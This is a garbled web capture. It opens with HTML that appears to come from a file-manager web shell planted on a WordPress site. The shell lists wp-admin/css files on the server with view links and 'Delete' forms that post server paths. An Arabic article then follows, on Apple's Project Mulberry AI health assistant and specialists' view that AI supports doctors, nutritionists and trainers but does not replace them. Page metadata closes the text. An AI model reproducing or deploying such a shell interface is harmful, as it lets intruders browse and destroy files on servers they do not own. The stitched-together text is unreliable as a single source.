                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n-rtl.min.css"> l10n-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n.css"> l10n.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n.min.css"> l10n.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables-rtl.css"> list-tables-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables-rtl.min.css"> list-tables-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables.css"> list-tables.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables.min.css"> list-tables.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin-rtl.css"> login-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin-rtl.min.css"> login-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin.css"> login.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin.min.css"> login.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia-rtl.css"> media-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia-rtl.min.css"> media-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia.css"> media.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia.min.css"> media.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus-rtl.css"> nav-menus-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus-rtl.min.css"> nav-menus-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus.css"> nav-menus.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus.min.css"> nav-menus.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions-rtl.css"> revisions-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions-rtl.min.css"> revisions-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions.css"> revisions.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions.min.css"> revisions.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health-rtl.css"> site-health-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health-rtl.min.css"> site-health-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health.css"> site-health.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health.min.css"> site-health.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon-rtl.css"> site-icon-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon-rtl.min.css"> site-icon-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon.css"> site-icon.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon.min.css"> site-icon.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fthemes-rtl.css"> themes-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/themes-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fthemes-rtl.min.css"> themes-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
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<p class="MsoNormal"><strong>كتبت: فرح سمير</strong></p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> مدربك، طبيبك، وخبير التغذية… داخل هاتفك</mark></strong></p>



<p class="MsoNormal">! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> “الذكاء الاصطناعي لا يملك حدسك”</mark></strong></p>



<p class="MsoNormal">الدكتورة &#8221; إيمان الحجار&#8221; استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">العلاج الطبيعي: دعم لا بديل</mark></strong></p>



<p class="MsoNormal">أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">المدرب الرقمي في جيبك…،</mark></strong></p>



<p class="MsoNormal"> تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.</p>

			
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\u0648\u0627\u0644\u062a\u0642\u0646\u064a\u0629.\r\n","publisher":{"@id":"#Publisher","@type":"Organization","name":"tahkoom.com","logo":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/05\/\u062a\u062d\u0643\u0645.png"},"sameAs":["https:\/\/www.facebook.com\/share\/1QKWyPHszc\/?mibextid=wwXIfr","https:\/\/www.instagram.com\/tahkom_?igsh=NGZzYjF0N3N3dWcy&utm_source=qr"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/tahkoom.com\/%d8%ad%d9%8a%d9%86-%d8%aa%d8%aa%d8%ad%d9%88%d9%84-%d8%a7%d9%84%d8%b3%d8%a7%d8%b9%d8%a9-%d8%a7%d9%84%d8%b0%d9%83%d9%8a%d8%a9-%d8%a5%d9%84%d9%89-%d8%b9%d9%8a%d8%a7%d8%af%d8%a9-%d9%85%d8%aa%d9%86%d9%82\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"tahkoom 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